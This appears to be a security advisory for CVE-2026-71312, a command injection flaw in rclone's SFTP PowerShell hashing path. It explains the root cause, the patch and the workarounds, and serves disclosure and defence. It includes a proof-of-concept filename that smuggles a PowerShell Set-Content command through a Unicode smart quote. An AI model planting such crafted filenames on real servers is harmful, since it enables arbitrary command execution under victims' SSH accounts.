high · 8CVE-2026-71312Aug 5, 2026

CVE-2026-71312: rclone SFTP PowerShell Smart-Quote Filename OS Command Injection

Pranav Khune
Penetration Testing Team Lead, SecureLayer7

A crafted filename containing a Unicode smart quote can break out of rclone's PowerShell path quoting on SFTP remotes and execute arbitrary commands as the victim's SSH account.

Packagegithub.com/rclone/rclone
Ecosystemgo
Affected<= 1.74.4
Fixed in1.75.0
CVE-2026-71312: rclone SFTP PowerShell Smart-Quote Filename OS Command Injection

The problem

rclone's SFTP backend builds PowerShell hash commands by wrapping remote paths in ASCII single quotes and sending the result over SSH exec. The quoting helper quoteOrEscapeShellPath only escapes the ASCII apostrophe (U+0027) by doubling it.

PowerShell also treats four Unicode smart quotes (U+2018 ‘, U+2019 ’, U+201A ‚, U+201B ‛) as string delimiters. Any of these in a filename closes the intended quoted literal, and whatever follows is parsed as live PowerShell. An attacker who can place or rename a file on the SFTP server gets arbitrary code execution under the victim's SSH account when rclone performs a hash check.

Proof of concept

A working proof-of-concept for CVE-2026-71312 in github.com/rclone/rclone, with the exact payload below.

bash
# Malicious filename placed on the SFTP server (Windows filesystem allows this):
# The ’ (U+2019 RIGHT SINGLE QUOTATION MARK) closes rclone’s quoted path literal.
# The semicolon begins the injected statement; the trailing # discards rclone’s closing apostrophe.

legitfile’;Set-Content C:\Users\victim\pwned.txt ‘injected’;#.txt

# rclone assembles the PowerShell command (before patch) as:
#   (Get-FileHash -Algorithm MD5 'C:\share\legitfile’;Set-Content C:\Users\victim\pwned.txt ‘injected’;#.txt').Hash.ToLower()
#
# PowerShell parses this as three tokens:
#   1. (Get-FileHash -Algorithm MD5 'C:\share\legitfile')   <- closes on U+2019
#   2. ;Set-Content C:\Users\victim\pwned.txt 'injected'    <- executes
#   3. ;#.txt').Hash.ToLower()                              <- comment, ignored

The root cause (CWE-78) is shell command construction by string concatenation. The pre-patch quoting function did "'" + strings.ReplaceAll(shellPath, "'", "'') + "'"`, which only doubles U+0027. It left U+2018, U+2019, U+201A, and U+201B unescaped, even though Windows PowerShell accepts all four as single-quote string delimiters.

The patch (commit e122fba) extends quoteOrEscapeShellPath to replace or double all five quote variants before wrapping the path, so no smart-quote character can prematurely close the literal. The rclone encoder does not strip these codepoints from filenames because they are valid on Windows filesystems, which is why attacker-controlled filenames reach the quoting function intact.

The fix

Upgrade rclone to v1.75.0 or later. The fix is in commit e122fba1a57641b63a580aa26c026903a84e2e88. If upgrading is not immediately possible, disable server-side hashing on PowerShell SFTP remotes by setting disable_hashcheck = true in the remote's rclone config, or set shell_type = cmd to avoid the PowerShell code path entirely.

Reported by Nick Craig-Wood.

References: [1][2][3][4]

Related research